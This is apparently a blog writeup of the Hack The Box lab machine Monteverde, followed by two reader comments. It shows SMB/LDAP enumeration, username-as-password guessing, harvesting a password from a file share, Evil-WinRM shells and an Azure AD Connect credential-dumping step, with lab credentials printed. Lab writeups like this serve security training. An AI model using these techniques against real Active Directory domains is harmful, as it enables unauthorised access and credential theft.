Hack The Box Monteverde Writeup – 10.10.10.172
Hello, welcome back to my Hack the Box windows machine writeup series. Today we are going to do a newly released Windows box called Monteverde (IP: 10.10.10.172). The new machine is very easy to exploit as we have seen the almost similar rooting process in the previous few windows machine including the Forest machine.
Getting the user on the Monteverde is straight-forward right from the nmap scan to owning the machine. Thanks to the author this PowerShell privilege escalation exploit which made my life easy.
Let us start.
NAMP Scan
As usual, let us add machine IP 10.10.10.172 to etc/hosts as monteverde.htb and start the namp scan.
$ nmap -sV monteverde.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-14 10:12 +03
Nmap scan report for monteverde.htb (10.10.10.172)
Host is up (0.18s latency).
Not shown: 989 filtered ports
PORT STATE SERVICE VERSION
53/tcp open domain?
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-01-14 07:23:00Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=1/14%Time=5E1D69D9%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
Service Info: Host: MONTEVERDE; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 161.69 secondsThe nmap revealed a few ports are open. The SMB port 445, LDAP ports 389 and 3628 caught our attention. Since its a Windows machine, let us concentrate on these two ports. The tool we are going to use is enum4linux. Let us run enum4linux with -a switch to full enumeration. This option will return all the available information about the given active directory.
Enum4Linux
$ enum4linux -a 10.10.10.172
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Tue Jan 14 10:10:30 2020
==========================
| Target Information |
==========================
Target ........... 10.10.10.172
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
====================================================
| Enumerating Workgroup/Domain on 10.10.10.172 |
====================================================
[E] Can't find workgroup/domain
============================================
| Nbtstat Information for 10.10.10.172 |
============================================
Looking up status of 10.10.10.172
No reply from 10.10.10.172
=====================================
| Session Check on 10.10.10.172 |
=====================================
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 437.
[+] Server 10.10.10.172 allows sessions using username '', password ''
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 451.
[+] Got domain/workgroup name:
===========================================
| Getting domain SID for 10.10.10.172 |
===========================================
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 359.
Domain Name: MEGABANK
Domain Sid: S-1-5-21-391775091-850290835-3566037492
[+] Host is part of a domain (not a workgroup)
======================================
| OS information on 10.10.10.172 |
======================================
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 458.
Use of uninitialized value $os_info in concatenation (.) or string at ./enum4linux.pl line 464.
[+] Got OS info for 10.10.10.172 from smbclient:
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 467.
[+] Got OS info for 10.10.10.172 from srvinfo:
Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED
=============================
| Users on 10.10.10.172 |
=============================
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 866.
index: 0xfb6 RID: 0x450 acb: 0x00000210 Account: AAD_987d7f2f57d2 Name: AAD_987d7f2f57d2 Desc: Service account for the Synchronization Service with installation identifier 05c97990-7587-4a3d-b312-309adfc172d9 running on computer MONTEVERDE.
index: 0xfd0 RID: 0xa35 acb: 0x00000210 Account: dgalanos Name: Dimitris Galanos Desc: (null)
index: 0xedb RID: 0x1f5 acb: 0x00000215 Account: Guest Name: (null) Desc: Built-in account for guest access to the computer/domain
index: 0xfc3 RID: 0x641 acb: 0x00000210 Account: mhope Name: Mike Hope Desc: (null)
index: 0xfd1 RID: 0xa36 acb: 0x00000210 Account: roleary Name: Ray O'Leary Desc: (null)
index: 0xfc5 RID: 0xa2a acb: 0x00000210 Account: SABatchJobs Name: SABatchJobs Desc: (null)
index: 0xfd2 RID: 0xa37 acb: 0x00000210 Account: smorgan Name: Sally Morgan Desc: (null)
index: 0xfc6 RID: 0xa2b acb: 0x00000210 Account: svc-ata Name: svc-ata Desc: (null)
index: 0xfc7 RID: 0xa2c acb: 0x00000210 Account: svc-bexec Name: svc-bexec Desc: (null)
index: 0xfc8 RID: 0xa2d acb: 0x00000210 Account: svc-netapp Name: svc-netapp Desc: (null)
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 881.
user:[Guest] rid:[0x1f5]
user:[AAD_987d7f2f57d2] rid:[0x450]
user:[mhope] rid:[0x641]
user:[SABatchJobs] rid:[0xa2a]
user:[svc-ata] rid:[0xa2b]
user:[svc-bexec] rid:[0xa2c]
user:[svc-netapp] rid:[0xa2d]
user:[dgalanos] rid:[0xa35]
user:[roleary] rid:[0xa36]
user:[smorgan] rid:[0xa37]
=========================================
| Share Enumeration on 10.10.10.172 |
=========================================
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 640.
Sharename Type Comment
--------- ---- -------
SMB1 disabled -- no workgroup available
[+] Attempting to map shares on 10.10.10.172
====================================================
| Password Policy Information for 10.10.10.172 |
====================================================
[+] Attaching to 10.10.10.172 using a NULL share
[+] Trying protocol 445/SMB...
[+] Found domain(s):
[+] MEGABANK
[+] Builtin
[+] Password Info for Domain: MEGABANK
[+] Minimum password length: 7
[+] Password history length: 24
[+] Maximum password age: 41 days 23 hours 53 minutes
[+] Password Complexity Flags: 000000
[+] Domain Refuse Password Change: 0
[+] Domain Password Store Cleartext: 0
[+] Domain Password Lockout Admins: 0
[+] Domain Password No Clear Change: 0
[+] Domain Password No Anon Change: 0
[+] Domain Password Complex: 0
[+] Minimum password age: 1 day 4 minutes
[+] Reset Account Lockout Counter: 30 minutes
[+] Locked Account Duration: 30 minutes
[+] Account Lockout Threshold: None
[+] Forced Log off Time: Not Set
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 501.
[+] Retieved partial password policy with rpcclient:
Password Complexity: Disabled
Minimum Password Length: 7
==============================
| Groups on 10.10.10.172 |
==============================
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 542.
[+] Getting builtin groups:
group:[Pre-Windows 2000 Compatible Access] rid:[0x22a]
group:[Incoming Forest Trust Builders] rid:[0x22d]
group:[Windows Authorization Access Group] rid:[0x230]
group:[Terminal Server License Servers] rid:[0x231]
group:[Users] rid:[0x221]
group:[Guests] rid:[0x222]
group:[Remote Desktop Users] rid:[0x22b]
group:[Network Configuration Operators] rid:[0x22c]
group:[Performance Monitor Users] rid:[0x22e]
group:[Performance Log Users] rid:[0x22f]
group:[Distributed COM Users] rid:[0x232]
group:[IIS_IUSRS] rid:[0x238]
group:[Cryptographic Operators] rid:[0x239]
group:[Event Log Readers] rid:[0x23d]
group:[Certificate Service DCOM Access] rid:[0x23e]
group:[RDS Remote Access Servers] rid:[0x23f]
group:[RDS Endpoint Servers] rid:[0x240]
group:[RDS Management Servers] rid:[0x241]
group:[Hyper-V Administrators] rid:[0x242]
group:[Access Control Assistance Operators] rid:[0x243]
group:[Remote Management Users] rid:[0x244]
group:[Storage Replica Administrators] rid:[0x246]
[+] Getting builtin group memberships:
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Group 'IIS_IUSRS' (RID: 568) has member: Couldn't lookup SIDs
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Group 'Pre-Windows 2000 Compatible Access' (RID: 554) has member: Couldn't lookup SIDs
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Group 'Guests' (RID: 546) has member: Couldn't lookup SIDs
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Group 'Windows Authorization Access Group' (RID: 560) has member: Couldn't lookup SIDs
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Group 'Remote Management Users' (RID: 580) has member: Couldn't lookup SIDs
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Group 'Users' (RID: 545) has member: Couldn't lookup SIDs
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 542.
[+] Getting local groups:
group:[Cert Publishers] rid:[0x205]
group:[RAS and IAS Servers] rid:[0x229]
group:[Allowed RODC Password Replication Group] rid:[0x23b]
group:[Denied RODC Password Replication Group] rid:[0x23c]
group:[DnsAdmins] rid:[0x44d]
group:[SQLServer2005SQLBrowserUser$MONTEVERDE] rid:[0x44f]
group:[ADSyncAdmins] rid:[0x451]
group:[ADSyncOperators] rid:[0x452]
group:[ADSyncBrowse] rid:[0x453]
group:[ADSyncPasswordSet] rid:[0x454]
[+] Getting local group memberships:
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Group 'ADSyncAdmins' (RID: 1105) has member: Couldn't lookup SIDs
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Group 'Denied RODC Password Replication Group' (RID: 572) has member: Couldn't lookup SIDs
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 593.
[+] Getting domain groups:
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[DnsUpdateProxy] rid:[0x44e]
group:[Azure Admins] rid:[0xa29]
group:[File Server Admins] rid:[0xa2e]
group:[Call Recording Admins] rid:[0xa2f]
group:[Reception] rid:[0xa30]
group:[Operations] rid:[0xa31]
group:[Trading] rid:[0xa32]
group:[HelpDesk] rid:[0xa33]
group:[Developers] rid:[0xa34]
[+] Getting domain group memberships:
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 614.
Group 'Domain Guests' (RID: 514) has member: MEGABANK\Guest
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 614.
Group 'HelpDesk' (RID: 2611) has member: MEGABANK\roleary
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 614.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 614.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 614.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 614.
Group 'Trading' (RID: 2610) has member: MEGABANK\dgalanos
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 614.
Group 'Group Policy Creator Owners' (RID: 520) has member: MEGABANK\Administrator
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 614.
Group 'Domain Users' (RID: 513) has member: MEGABANK\Administrator
Group 'Domain Users' (RID: 513) has member: MEGABANK\krbtgt
Group 'Domain Users' (RID: 513) has member: MEGABANK\AAD_987d7f2f57d2
Group 'Domain Users' (RID: 513) has member: MEGABANK\mhope
Group 'Domain Users' (RID: 513) has member: MEGABANK\SABatchJobs
Group 'Domain Users' (RID: 513) has member: MEGABANK\svc-ata
Group 'Domain Users' (RID: 513) has member: MEGABANK\svc-bexec
Group 'Domain Users' (RID: 513) has member: MEGABANK\svc-netapp
Group 'Domain Users' (RID: 513) has member: MEGABANK\dgalanos
Group 'Domain Users' (RID: 513) has member: MEGABANK\roleary
Group 'Domain Users' (RID: 513) has member: MEGABANK\smorgan
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 614.
Group 'Operations' (RID: 2609) has member: MEGABANK\smorgan
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 614.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 614.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 614.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 614.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 614.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 614.
Group 'Azure Admins' (RID: 2601) has member: MEGABANK\Administrator
Group 'Azure Admins' (RID: 2601) has member: MEGABANK\AAD_987d7f2f57d2
Group 'Azure Admins' (RID: 2601) has member: MEGABANK\mhope
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 614.
=======================================================================
| Users on 10.10.10.172 via RID cycling (RIDS: 500-550,1000-1050) |
=======================================================================
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 710.
[E] Couldn't get SID: NT_STATUS_ACCESS_DENIED. RID cycling not possible.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 742.
=============================================
| Getting printer info for 10.10.10.172 |
=============================================
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 991.
Could not initialise spoolss. Error was NT_STATUS_ACCESS_DENIED
enum4linux complete on Tue Jan 14 10:15:44 2020
# root @ ns09 in ~/htb/monteverde [10:15:44]
So, using enum4linux, we gathered a number of users:
MEGABANK\Administrator MEGABANK\krbtgt MEGABANK\AAD_987d7f2f57d2 MEGABANK\mhope MEGABANK\SABatchJobs MEGABANK\svc-ata MEGABANK\svc-bexec MEGABANK\svc-netapp MEGABANK\dgalanos MEGABANK\roleary MEGABANK\smorgan
The next step lets look at the SMB we might get something hidden there. Since we couldn’t gather any passwords, we will go for a password guessing tactic.
SMBClient
Lets us run SMBCLIENT against the users. We will use all of the users and their username as a password. After failing with 4 top users, we were able to access SMB of the user SABatchJobs.
# root @ ns09 in ~/htb/monteverde [12:47:31]
$ smbclient -L 10.10.10.172 -U SABatchJobs
Enter WORKGROUP\SABatchJobs's password:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
azure_uploads Disk
C$ Disk Default share
E$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
users$ Disk
SMB1 disabled -- no workgroup available
# root @ ns09 in ~/htb/monteverde [12:47:39]
$ smbclient //10.10.10.172/azure_uploads -U SABatchJobs
Enter WORKGROUP\SABatchJobs's password:
session setup failed: NT_STATUS_LOGON_FAILURE
# root @ ns09 in ~/htb/monteverde [12:47:58] C:1
$ smbclient //10.10.10.172/azure_uploads -U SABatchJobs
Enter WORKGROUP\SABatchJobs's password:
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Fri Jan 3 15:43:06 2020
.. D 0 Fri Jan 3 15:43:06 2020
524031 blocks of size 4096. 519955 blocks available
smb: \> ^Z
[1] + 4579 suspended smbclient //10.10.10.172/azure_uploads -U SABatchJobs
# root @ ns09 in ~/htb/monteverde [12:48:31] C:148
$ smbclient //10.10.10.172/users$ -U SABatchJobs
Enter WORKGROUP\SABatchJobs's password:
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Fri Jan 3 16:12:48 2020
.. D 0 Fri Jan 3 16:12:48 2020
dgalanos D 0 Fri Jan 3 16:12:30 2020
mhope D 0 Fri Jan 3 16:41:18 2020
roleary D 0 Fri Jan 3 16:10:30 2020
smorgan D 0 Fri Jan 3 16:10:24 2020
524031 blocks of size 4096. 519955 blocks available
smb: \>
The user had few directories listed, the directory azure_uploads had nothing in it, but interestingly user SABatchJobs has access to a directory called users$. Let us connect and see what other users have in their directories.
Getting User.txt
After a couple of minute’s enumeration, we found a file azure.xml in the user mhope’s directory. Let us download and see what it is.
$ smbclient //10.10.10.172/users$ -U SABatchJobs
Enter WORKGROUP\SABatchJobs's password:
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Fri Jan 3 16:12:48 2020
.. D 0 Fri Jan 3 16:12:48 2020
dgalanos D 0 Fri Jan 3 16:12:30 2020
mhope D 0 Fri Jan 3 16:41:18 2020
roleary D 0 Fri Jan 3 16:10:30 2020
smorgan D 0 Fri Jan 3 16:10:24 2020
524031 blocks of size 4096. 519955 blocks available
smb: \> cd dgalanos
smb: \dgalanos\> dir
. D 0 Fri Jan 3 16:12:30 2020
.. D 0 Fri Jan 3 16:12:30 2020
524031 blocks of size 4096. 519955 blocks available
smb: \dgalanos\> cd ..
smb: \> cd mhope
smb: \mhope\> dir
. D 0 Fri Jan 3 16:41:18 2020
.. D 0 Fri Jan 3 16:41:18 2020
azure.xml AR 1212 Fri Jan 3 16:40:23 2020
524031 blocks of size 4096. 519955 blocks available
smb: \mhope\>
The XML file contains a password “4n0therD4y@n0th3r$“, which could be of user MHope’s.
Now we have a possible valid password, its time to use our favorite tool “Evil-WinRM“.
# root @ ns09 in ~/htb/monteverde [10:35:52]
$ ruby evil-winrm.rb -u mhope -p 4n0therD4y@n0th3r$ -i 10.10.10.172
Evil-WinRM shell v1.8
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\mhope\Documents> cd /
*Evil-WinRM* PS C:\> cd Users/mhope/Desktop
*Evil-WinRM* PS C:\Users\mhope\Desktop> dir
Directory: C:\Users\mhope\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 1/3/2020 5:48 AM 32 user.txt
*Evil-WinRM* PS C:\Users\mhope\Desktop> more user.txt
496197[-----------------]12f2
We got the user.txt from the user MHopes desktop.
Straight To the Root
Like we do sudo -l in Linux, we do whoami /all to see the which are the group our user belongs to. Running the command we found the following.
*Evil-WinRM* PS C:\> whoami /all
USER INFORMATION
----------------
User Name SID
============== ============================================
megabank\mhope S-1-5-21-391775091-850290835-3566037492-1601
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
=========================================== ================ ============================================ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
MEGABANK\Azure Admins Group S-1-5-21-391775091-850290835-3566037492-2601 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
USER CLAIMS INFORMATION
-----------------------
User claims unknown.
Kerberos support for Dynamic Access Control on this device has been disabled.
The command shows the user MHope is a member of the Azure Admin group. It means he probably has administrator rights.
After a simple Google search, we come across a PowerShell privesc tool called “AzureADConnect“. The script returns the Administrator credential immediately.
This script seems to be working locally post exploit, because I tried to run directly from my Kali terminal, but without success. So, I copied the script to Desktop of user Mhope and run from there.
So, now we obtained the Administrator credentials, let us run the Evil-WinRM again as Administrator and get the root flag.
# root @ ns09 in ~/htb/monteverde [13:44:27]
$ ruby evil-winrm.rb -u Administrator -p d0m@in4dminyeah! -i 10.10.10.172
Evil-WinRM shell v1.8
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> more C:\Users\Administrator\Desktop\root.txt
1290[--------------]804a0bc
*Evil-WinRM* PS C:\Users\Administrator\Documents> 
That’s it, thank you for reading.
That powershell script you found that does it all for you didn’t exist until yesterday. No wonder you thought it should have been marked as an Easy box when all you had to do was run that to instantly get admin creds lol there was a very similar powershell script available before that, but it at least required a little work to get it to run (figuring out that the AD Sync database was hosted on full SQL not LocalDb and then changing the SQL connection string in the script accordingly).
I’m lucky to find the script as a first result in the Google serp. However, dont you think, we somehow tend to use readymade scripts/ tools in our day-to-day tasks?